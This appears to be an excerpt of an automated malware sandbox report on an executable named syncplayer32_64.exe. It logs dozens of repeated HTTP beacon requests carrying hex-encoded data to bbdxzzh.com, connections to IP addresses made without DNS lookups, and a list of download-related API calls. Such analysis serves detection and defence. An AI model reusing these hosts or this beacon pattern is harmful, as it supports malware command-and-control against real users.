Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	TCP traffic detected without corresponding DNS query: 89.105.201.183
Source: unknown	UDP traffic detected without corresponding DNS query: 91.211.247.248
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: 2_2_02B472AB Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,InternetOpenA,InternetSetOptionA,InternetSetOptionA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_strtok,_swscanf,_strtok,_free,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,_sprintf,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_free,

2_2_02B472AB

Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692386789f918c2e690 HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
